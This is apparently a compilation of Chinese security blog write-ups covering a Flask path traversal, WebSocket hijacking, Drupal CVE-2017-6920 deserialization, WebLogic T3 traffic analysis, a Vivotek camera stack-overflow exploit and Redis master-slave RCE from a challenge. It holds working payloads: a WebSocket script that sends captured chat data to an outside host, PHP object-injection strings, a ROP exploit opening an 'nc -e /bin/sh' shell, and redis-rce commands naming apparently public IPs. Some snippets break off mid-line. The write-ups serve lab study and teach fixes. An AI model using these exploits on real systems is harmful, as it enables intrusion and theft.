Flask send_file函数导致的绝对路径遍历
平时接触到的 python 项目并不多,对 python 的代码审计更是没有接触,偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历 ,感觉打开了新世界的大门,于是就以一个初学者的角度,进行复现分析一下。详情也可以根据 https://github.com/github/securitylab/issues/669 进行分析学习 send_file 的妙用 在以 flask 框架开发的系统中,为了直接实现用户访问某一个 URL 时就可以下载到文件,我们就使用 send_file 来实现 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "test.txt"    return send_file(path) if __name__ == '__main__':    app.run() 我们看到 如此运行的效果是直接返回了文件的内容,浏览器并没有识别成一个文件下载下来。 要想让浏览器识别成为文件下载的话,只需要加上 as_attachment=True from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "test.txt"    return send_file(path, as_attachment=True) if __name__ == '__main__':    app.run()       当下载的文件名是中文时 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "测试.txt"    return send_file(path, as_attachment=True) if __name__ == '__main__':    app.run()    Content-Disposition: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition在常规的 HTTP 应答中,Content-Disposition 响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。其可以是inline(默认值,所以可以不指定)或者是attachment,attachment表示附件,浏览器看到这个值一般会弹出一个保持文件的确认框,或者像chrome直接下载。    漏洞分析 漏洞的触发是在 send_file 中,我们跟进看一下 flask.helpers.send_file 继续跟进查看 werkzeug.utils.send_file 我们在本地构造一个简单的语句进行尝试 >>> import os.path >>> _root_path = "path/to/mySafeStaticDir" >>> path_or_file = "/../../../../../../../etc/passwd" >>> os.path.join(_root_path,path_or_file) '/../../../../../../../etc/passwd' 我们发现 os.path.join 使用不受信任的输入调用时不安全的。当 os.path.join 调用遇到绝对路径时,它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径。当参数可控时,我们控制恶意参数输入绝对路径,os.path.join 会完全忽略静态目录。所以,当 os.path.join 来获取来自 flask.send_file 的不受信任的输入时,可能会目录遍历攻击。 漏洞复现 我们在本地构造简单的代码进行测试,获取从外部传入的参数 filename from flask import Flask, request from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    filename = request.args.get('filename')    return send_file(filename, as_attachment=True) if __name__ == '__main__':    app.run() 通过控制 filename 为绝对路径,就实现了目录穿越漏洞    总结反思 这个漏洞非常的有趣,漏洞的修复是可以使用flask.safe_join加入不受信任的路径或用flask.send_file调用替换flask.send_from_directory调用。 这个漏洞虽然很简单,但是在 github 上很多用 python 开发的项目都用了这个函数,如果不加以修复,会造成很大的危害。
浅析websocket劫持
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。 WebSocket劫持漏洞导读 WebSocket协议技术 WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道 websocket是持久化的协议,而http是非持久的 当通信协议从 http://或 https://切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态 WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图   建立WebSocket连接 WebSocket连接通常是使用客户端JavaScript创建的 var ws = new WebSocket("wss://normal-website.com/chat"); //该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。 为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示: GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket 如果服务器接受连接,则它将返回WebSocket握手响应,如下所示: HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= 此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。 请求和响应中 的Connection和Upgrade标头表示这是WebSocket握手 WebSocket安全漏洞 原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现 • 传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等 • 通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到 • 如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞   本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH 跨站WebSocket劫持漏洞 什么是跨站WebSocket劫持漏洞 Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞 我们可以看见WebSocket的链接过程与http是极其相似的,WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份,因此,服务器需要采用http客户端认证机制来辨明身份,如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份,与服务器建立WebSocket连接 CSWSH与跨站请求伪造CSRF的漏洞原理极其类似  相较于CSRF漏洞只能发送伪造请求,跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道,且不受同源策略的限制,这在很大意义上都造成了更大的危害和可操作性 跨站WebSocket劫持漏洞可能带来的影响 • 执行伪造成用户的未授权操作 与常规CSRF类似,攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作 • 检索用户可访问的敏感数据 与常规CSRF不同的时,CSWSH是建立一个可双向交互的通道,当客户端向用户发送敏感数据时,攻击者可以将其拦截并记录得到敏感信息 跨站WebSocket劫持漏洞靶场演示 靶机环境 • 靶场  借助于burpsuite练兵场  https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab• 浏览器环境  edge浏览器 靶场解析 • 点击启动靶场    • 观察发现存在实时聊天界面,观察发现没有CSRF的令牌 • 将代码复制到body  <script>   var ws = new WebSocket('wss://your-websocket-url');   ws.onopen = function() {     ws.send("READY");   };   ws.onmessage = function(event) {     fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});   }; </script> • wss://your-websocket-url替换成目前url • https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器 • 可以点击view exploit测试,也可以直接发给攻击方  • 然后在Burp Collaborator Client多poll几下 • 翻看一下得到账号密码  然后我选择再用dnslog验证一遍     确实可以带出数据,执行敏感操作 如何防范跨站WebSocket劫持漏洞 • 校验Origin头 • 双向将WebSocket传输数据视为不可信 • 对WebSocket握手信息进行加密保护 • 硬编码WebSockets终结点的URL 参考文章 • https://portswigger.net/web-security/websockets • https://zhuanlan.zhihu.com/p/347738547
【漏洞分析】Drupal 远程代码执行(CVE-2017-6920)
前几天在参加 FOFA-攻防挑战赛时,遇到了 Drupal 的盲盒漏洞环境,最终确定漏洞为 CVE-2017-6920 ,但是还是无法 getflag ,因为网上相关参考文章并不是很多,大多都只是简单的复现了,于是就想着对这个漏洞进行一个详细的分析。 漏洞描述 环境搭建 环境的搭建,我们可以选择 p神 的 https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2017-6920 上的环境,我们也可以利用 https://vulfocus.cn/ 的在线环境,或者将镜像拉取下来本地启动。 因为 p 神的环境还需要再进行配置 yaml ,为了方便,我们这里就选择 vulfocus 的镜像来进行复现学习    docker pull vulfocus/drupal-cve_2017_6920:latest docker ps    访问随机生成的端口 49156 http://127.0.0.1:49156/ 漏洞复现 访问登录界面 http://127.0.0.1:49156/user/login 输入账号密码 admin:admin123 登录成功 登陆成功后访问路由 /admin/config/development/configuration/single/import 填写相关参数   !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" 点击 import 触发漏洞 漏洞分析 漏洞存在于 drupal 8.3.3 所以我们下载 存在漏洞的版本 drupal 8.3.3 和修复的版本 drupal 8.3.4 进行对比,发现漏洞位于 core\lib\Drupal\Component\Serialization\YamlPecl.php 我们看到修改的位置有这么一句 // We never want to unserialize !php/object. 就大概可以推测出是在这个地方,以!php/object 为开头时 会产生反序列化漏洞    为了方便进行调试,所以我们换一下 docker 启动时的命令,方便启动后进行 php 远程调试,在配置调试环境时出现了各种问题,本来是在本地搭建 docker 环境进行调试的,但是一直没有成功,所以就采用在虚拟机中搭建 docker 环境,采用远程调试。    docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest wget https://xdebug.org/files/xdebug-2.5.5.tgz docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz docker exec -it 30 /bin/bash cd / tar xvf xdebug-2.5.5.tgz cd xdebug-2.5.5 phpize find / -name php-config `/etc/alternatives/php-config`   `/usr/bin/php-config`   `/var/lib/dpkg/alternatives/php-config` ./configure --enable-xdebug --with-php-config=/usr/bin/php-config make && make install ==xdebug 被安装到了 /usr/lib/php5/20121212/== find / -name php.ini `/etc/php5/cli/php.ini`   `/etc/php5/apache2/php.ini` vim /etc/php5/apache2/php.ini ==修改 php.ini 文件== shift + g ==定位到最后一行== echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php sudo service apache2 restart       修改php.ini配置文件,在文件中追加以下内容 [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug扩展文件的路径 xdebug.remote_enable=1 ;是否开启远程调试 xdebug.remote_handler=dbgp ;指定远程调试的处理协议 xdebug.remote_mode=req ;可以设为req或jit,req表示脚本一开始运行就连接远程客户端,jit表示脚本出错时才连接远程客户端。 xdebug.remote_host=192.168.222.1 ;指定远程调试的主机名(安装phpstorm的主机ip) xdebug.remote_port=9001 ;指定远程调试的端口号 xdebug.idekey="PHPSTORM" ;指定传递给DBGp调试器处理程序的IDE Key xdebug.remote_enable=on; [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so; xdebug.remote_enable=1; xdebug.remote_handler=dbgp; xdebug.remote_mode=req; xdebug.remote_host=192.168.222.1; xdebug.remote_port=9001; xdebug.idekey="PHPSTORM"; 访问 http://192.168.222.129/phpinfo.php 发现 xdebug 被安装成功    先将代码拷贝出来 docker cp 30:/var/www/html html 利用 PHPSTROM 打开项目代码 File -> Settings -> Languages & Frameworks -> PHP -> Debug 配置 Servers 此处要注意,需要直接指定到网站的目录位置 配置PHP Web Application 配置完成后打开右上角的电话按钮 打开浏览器的插件 Xdebug helper    在 phpinfo 处加载断点,并访问 http://192.168.222.129/phpinfo.php成功加载到断点 之前也配置过 PHP 的远程调试环境,但是在 Docker 里面调试的时候,配置了很久的调试环境,最后才成功,中间出了大大小小无数的问题,遇到的最大的问题是最开始端口一直显示被占用状态,因为我启动 docker 时的命令是 docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest 我一直认为说这个 9001 端口也要对外映射出来,但是我在调试时发现一直提示端口被占用,百思不得其解,采用百度大法看到了这么一句 不要在docker-compose 中添加 9000 端口 ,我灵机一动,将 -p 9001:9    正式开始调试分析 漏洞的最终触发位置是在 core/lib/Drupal/Component/Serialization/YamlPecl.php::decode 对传入的 参数 $raw 如果可控的话,如果使用!php/object,那么yaml_parse将会以反序列化(unserialize)的形式来进行处理字符串。 我们看在哪里可以调用 YamlPecl.php::decode core/lib/Drupal/Component/Serialization/Yaml.php::decode decode 函数中 调用了静态 getSerializer 函数    如果存在 yaml 扩展,$serializer 就使用 YamlPecl 类,之后会调用 YamlPecl 类中的 decode 函数; 如果不存在 yaml 扩展,$serializer 就使用 YamlSymfony 类,之后会调用 YamlSymfony 类中的 decode 函数。 目前的环境是已经安装了 yaml 扩展了,所以我们只需要寻找,可控输入的 Yaml::decode core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm 如此我们就已经确定了漏洞的触发位置,以及漏洞的入口点,但是距离漏洞的利用成功还差一个 payload 我们已经知道这个漏洞是一个反序列化漏洞,我们就要找出这个系统中存在的反序列化链,针对这个漏洞有两条利用链路,任意命令执行以及任意文件写入 任意命令执行 html\vendor\guzzlehttp\psr7\src\FnStream.php 反序列化这个类造成任意无参数函数执行 <?php namespace GuzzleHttp\Psr7; class FnStream {  public function __construct(array $methods) {    $this->methods = $methods;    // Create the functions on the class    foreach ($methods as $name => $fn) {      $this->{'_fn_' . $name} = $fn;   } }  public function __destruct() {    if (isset($this->_fn_close)) {      call_user_func($this->_fn_close);   } } } $fn = new FnStream(array('close'=>'phpinfo')); echo(serialize($fn)) ?> 序列化字符串加上yaml的!php/object !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" 任意文件写入 html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php 反序列化这个类达到任意文件写入的效果,但是因为这个系统启动并不是 root 权限启动,所以只有在 tmp 目录下写文件的权限 <?php require __DIR__.'/vendor/autoload.php'; use GuzzleHttp\Cookie\FileCookieJar; use GuzzleHttp\Cookie\SetCookie; $Limerence = new FileCookieJar('/tmp/shell.txt'); $payload = '1'; $data=array(    'Name' => "Limerence",    'Value' => "Limerence",    'Domain' => $payload,    'Expires' => time() ); $Limerence->setCookie(new SetCookie($data)); echo(addslashes(serialize($Limerence))); !php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCoo    漏洞修复 根据对比官方对 drupal 8.3.4 的修补,我们得出 针对低于版本 drupal 8.3.4 的代码中 在 core\lib\Drupal\Component\Serialization\YamlPecl.php 的 decode 函数修改为 public static function decode($raw) {    static $init;    if (!isset($init)) {      ini_set('yaml.decode_php', 0);      $init = TRUE;   }    if (!trim($raw)) {      return NULL;   }    set_error_handler([__CLASS__, 'errorHandler']);    $ndocs = 0;    $data = yaml_parse($raw, 0, $ndocs, [      YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',   ]);    restore_error_handler();    return $data; }    总结反思 之前也实现过远程调试,但是对 docker 内的系统进行调试还没有做过,不对的试错过程中,也对 docker 进一步加深的认知与了解。
基于某商产品WeblogicT3反序列化告警流量分析
前言 护网时平时遇到的针对weblogic等中间件漏洞利用以及漏洞扫描的很多,但是我看到某态势的流量的时候发现态势的探针的监测不单单是基于披露的poc或者exp来产生的告警。 这里一万多条告警。 环境搭建 这里我使vulhub复现几个cve来分析流量,这里的目的主要是对比wireshark、科*分析软件和某商安全设备的全流量的数据包告警分析。 cd CVE-2020-14882 docker-compose up -d docker ps http://192.168.166.130:7001/console/login/LoginForm.jsp 分析 直接使用wireshark抓包是无法抓取不到数据包的,原因是nat模式下不走网卡,所以这里涉及到了tips就是添加路由 route add 192.168.166.130 mask 255.255.255.255 192.168.0.1 用完删除 route delete 192.168.166.130 mask 255.255.255.255 192.168.0.1 但是此时似乎是没有用的,因为我们在进行漏洞利用的时候走的是http协议,传输层走的是tcp但是依旧是无法看到详细的流量数据。 设置虚拟机为桥接模式,再次尝试获取流量 已成功获取到数据流量。使用命令查看对目标攻击的所有流量 ip.addr==192.168.0.120 追踪一下tcp流 直接追踪t3流量,因为weblogic使用的协议为T3,当然态势内的漏洞监测也是基于t3协议来告警触发的。 上面两部分的内容是客户端和服务端的信息 t3 7.0.0.0 AS:10 HL:19 HELO:12.2.1.3.false AS:2048 HL:19 MS:10000000 PN:DOMAIN 在使用paylaod的时候会给服务端发送请求,正常情况下我们能够找到的poc或者说exp的工作原理大部分都是基于版本来校验的 当然这里的环境版本为12.2.1.3.0 这里根据不通的流可以看出来。这一点儿的话其实可以根据python脚本的内容也能看出来校验机制,这一点儿跟很多厂商的漏扫的原理应该是一致的。 这里我执行了几条命令,来查看一下流量特征 whoami ls pwd 上传的shell.jsp文件做编码 序列化的部分就是在这一部分完成的 回头看一下某报警日志的流量 这里触发规则库的内容是由于探针监测到流量中存在序列化的操作就直接触发了,所以这个时候正常的日志也是会触发漏洞预警。 可能使用wireshark对tcp的交互看着不太清晰,使用科*网络分析 重新抓包 这是所有的攻击日志 可以看到tcp流中数据交互的流量包。 因为这里只显示数据块部分的数据,那么这里可以看到,同样文件上传的时候内容是分块传输的 分作了四个数据块进行传输。 安全设备的告警 上面是tcp部分流量 请求体内容 那么告警行为的触发已经不是基于weblogic正常利用时的流量了,此时只是在tcp的传输阶段就已经拒绝连接了。 思考 安全设备流量监控下的预警以及触发条件是基于全流量还是部分流量以及规则条件产生的,规则库基于POC以及EXP,但是可能不会考虑到是否有完整的利用链,所以用户的体验感就比较难受了。
vivotek栈溢出漏洞复现
一、前言 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。 二、固件仿真 虚拟机环境:Ubuntu 20.04 gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2 固件下载地址:https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip 从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件httpd位于/usr/sbin目录下,使用file命令查看文件类型 因为是arm架构的所以没法在本地跑,使用QEMU模拟运行 因为QEMU模拟的环境不会挂载dev和proc,所以我们这边将固件系统的这两个目录挂载到虚拟机的dev和proc中。 sudo mount -o bind /dev ./squashfs-root/dev/ sudo mount -t proc /proc/ ./squashfs-root/proc/ 再次运行httpd文件,发现这次报了其他的错误 打开ida定位报错语句的位置,可以看到/etc/conf.d/boa/boa.conf文件打开失败导致的 本地ls查看会发现conf.d是链接到/mnt/flash/etc/conf.d的,并且该目录为空 尝试在其他目录中寻找boa.conf文件,最终在如下的目录找到了它,将此目录下的/etc复制到/mnt/flash/目录下 再次运行httpd文件,发现报了如下错误 老办法通过IDA搜索报错字符串,定位到如下位置,可以发现报错原因是因为此程序中使用gethostname函数将主机名保存在rlimits中,并使用gethostbyname函数通过主机名找到IP地址。但是最终因为我们的主机名与固件中的主机名不同所以无法获取到IP地址。 这里我们可以通过hostname命令查看本机名,然后以我的本机名为例修改squashfs-root/etc/hosts中的内容 echo "127.0.0.1 amall-virtual localhost" > squashfs-root/etc/hosts 修改完成后再次运行httpd文件,可以看到已经成功启动 三、漏洞分析 我们根据poc来验证漏洞 echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | netcat -v 127.0.0.1 80 验证成功,可以看到程序崩溃信息。我们根据poc可以了解到漏洞是在Content-Length中出现的,从IDA中搜索字符串然后查看交叉引用定位到漏洞位置所在 根据反汇编的代码我们可以了解到,程序在处理Content-Length字符串的内容时,使用strncpy函数保存从`:`到`\n`之间的字符串,但是可以看到其中并没有对长度进行检测导致了用户可以输入任意长度的字符串造成栈溢出。 四、漏洞复现 在arm的栈溢出中,我们首要考虑的就是如何劫持pc寄存器,而这个偏移可以通过动调获得。 看一下保护,开启了NX保护所以无法利用shellcode,考虑使用ROP来绕过NX保护。 为了能够查看程序的执行流程,这里选择将文件系统和gdbserver一起传到qemu虚拟机里,下面的内容根据[driverxdw](https://xz.aliyun.com/t/5054#toc-2)师傅的这篇文章整理得到。 从arm-debian的qemu镜像地址下载如下三个文件 https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2 在本地新建一张网卡用于和qemu虚拟机通信 sudo tunctl -t tap0 -u `whoami` sudo ifconfig tap0 192.168.2.1/24 启动qemu虚拟机镜像 qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic 启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了 ifconfig eth0 192.168.2.2/24 接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。 mount -o bind /dev ./squashfs-root/dev mount -t proc /proc/ ./squashfs-root/proc/ 最后切换到固件的文件系统中,并运行漏洞文件 chroot squashfs-root sh ./usr/sbin/httpd 这时我们就可以开始调试工作了,采用gdb-multiarch&gdbserver的方式。但是在试过网上编译好的gdbserver以后都无法在远程target remote到,最后在[这篇文章](https://bbs.pediy.com/thread-220907.htm)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。 github地址:https://github.com/AmaIIl/gdbserver-static-9.2-arm 有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示 ./gdbserver-static 127.0.0.1:1234 --attach <server pid> 然后写一个gdbinit把重复的命令写进去方便调试 # gdb-multiarch -x gdbinit file ./usr/sbin/httpd set architecture arm target remote 192.168.2.2:1234 我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。 sudo sysctl -w kernel.randomize_va_space=0 通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget 0x00048784: pop {r1, pc}; 0x00016aa4: mov r0, r1; pop {r4, r5, pc}; exp如下所示 from pwn import * context.log_level = 'debug' r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) close = lambda : p.close() debug = lambda : gdb.attach(p) shell = lambda : p.interactive() p = remote('192.168.2.2', 80) libc = ELF('./squashfs-root/lib/libc.so.0') stack = 0xbeffeb64 base = 0xb6f2d000 system = base+libc.sym['system'] pop_r1_pc = 0x00048784+base mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};  head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:" payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system) end = 'nc  -lp 6666 -e /bin/sh;'+'\r\n\r\n' sl(head+payload+end) shell() 脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell 五、总结 还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。
FOFA-攻防挑战记录
记录一下中途短暂的辉煌时刻    辉煌一刻谁都有,别拿一刻当永久      在昨天初尝战果之后,今天又习惯性的打开 https://vulfocus.cn/ 发现今天还有挑战赛,按捺不住躁动的心,又开始了学习。今天主要拿下的是这四个镜像,同时我也会对我了解的漏洞详情做一个具体的分析    weblogci CVE_2020_2551   我们看到了对应的端口有 7001      看到熟悉的界面以及之前察觉的端口信息,感觉有可能是 weblogic ,加上路径 console 查看一下,是 weblogic 10.3.6.0   weblogic 存在的漏洞太多了,所以我们直接上漏洞扫描工具     看到了漏洞对应的编号,以及存在的回显链路 phpinfo 信息泄露   打开界面就是一个 phpinfo   尝试了扫路径,查 phpinfo 漏洞的操作无果后,于是直接在页面上查找关键词 flag     轻易就查询到了 flag 的值,这个题目给 5 分 我是没有想到的 Redis 未授权访问漏洞   一看对应映射的端口是 6379 立马就联想到了 Redis,同时这个端口无法从 web 端进行访问,所以基本可以肯定是 Redis 了   注意到版本是 4.0.14   针对于 Redis 未授权访问漏洞,有以下利用方法 利用 Redis 写入webshell 写 ssh-keygen 公钥登录服务器 利用计划任务反弹shell 利用主从复制获取shell   这里我们选用 主从复制漏洞来获取shell   在服务器上操作(今天借到了服务器) git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git cd RedisModules-ExecuteCommand/ make # 生成 /RedisModules-ExecuteCommand/src/module.so cd .. git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp ../RedisModules-ExecuteCommand/src/module.so ./ pip install -r requirements.txt python redis-rce.py  -r 123.58.236.76 -p 57119 -L 43.142.138.251 -f module.so       利用主从复制获取shell   Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。   在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。 Linux   在本机上弄的时候出现各种各样的奇葩的问题,给我整破防了,最后我采用了 docker 来进行复现。复现不同的利用都删掉 docker ,重启继续进行。最后发现主从复制的利用版本是 4.x-5.x,从 6.0开始,就无法利用成功,写入exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。 sudo docker pull vertigo/redis4 sudo docker run -p 6379:6379 vertigo/redis4 redis-rce   https://github.com/Ridter/redis-rce   生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git cd RedisModules-ExecuteCommand/ make # 生成 /RedisModules-ExecuteCommand/src/module.so cd .. git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cp ../RedisModules-ExecuteCommand/src/module.so ./ pip install -r requirements.txt python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so redis-rogue-server   https://github.com/n0b0dyCN/redis-rogue-server git clone https://github.com/n0b0dyCN/redis-rogue-server.git cd redis-rogue-serve python3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1 Redis主从复制手动挡 import socket from time import sleep from optparse import OptionParser def RogueServer(lport):    resp = ""    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.bind(("0.0.0.0",lport))    sock.listen(10)    conn,address = sock.accept()      sleep(5)    while True:        data = conn.recv(1024)        if "PING" in data:            resp="+PONG"+CLRF            conn.send(resp)        elif "REPLCONF" in data:            resp="+OK"+CLRF            conn.send(resp)        elif "PSYNC" in data or "SYNC" in data:            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF            resp += "quot; + str(len(payload)) + CLRF            resp = resp.encode()            resp += payload + CLRF.encode()            if type(resp) != bytes:                resp =resp.encode()                  conn.send(resp)        #elif "exit" in data:            break if __name__=="__main__":    parser = OptionParser()                    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")         (options , args )= parser.parse_args()    lport = options.lp    exp_filename = options.exp    CLRF="\r\n"    payload=open(exp_filename,"rb").read()    print "Start listing on port: %s" %lport    print "Load the payload:   %s" %exp_filename      RogueServer(lport) redis-cli -h 192.168.10.187 > ping > config set dir ./               # 设置redis的备份路径为当前目录 > config set dbfilename exp.so    # 设置备份文件名为exp.so,默认为dump.rdb > slaveof 192.168.10.1 9999       # 设置主服务器IP和端口 > module load ./exp.so            # 加载恶意模块 > slaveof no one                  # 切断主从,关闭复制功能 > system.exec 'whoami'            # 执行系统命令 > config set dbfilename dump.rdb  # 通过dump.rdb文件恢复数据 > system.exec 'rm ./exp.so'       # 删除exp.so > module unload system            # 卸载system模块的加载    windows   Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。 redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对 Windows 下的 redis 的利用方法主要是往 web 目录写马以及写启动项。 RedisWriteFile   https://github.com/r35tart/RedisWriteFile 利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave, master 数据空间保证绝对干净,轻松实现了写无损文件。   参考文章 http://r3start.net/index.php/2020/05/25/717 https://xz.aliyun.com/t/7940可以利用以下方式 系统 DLL劫持 (目标重启或注销) 针对特定软件的 DLL 劫持(目标一次点击) 覆写目标的快捷方式 (目标一次点击) 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击) 覆写 sethc.exe 等文件 (攻击方一次触发) mof 等   因为对这些暂时还没有研究,所以在这里只演示以下,在 windows redis 写无损文件 python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename] python3 RedisWriteFile.py 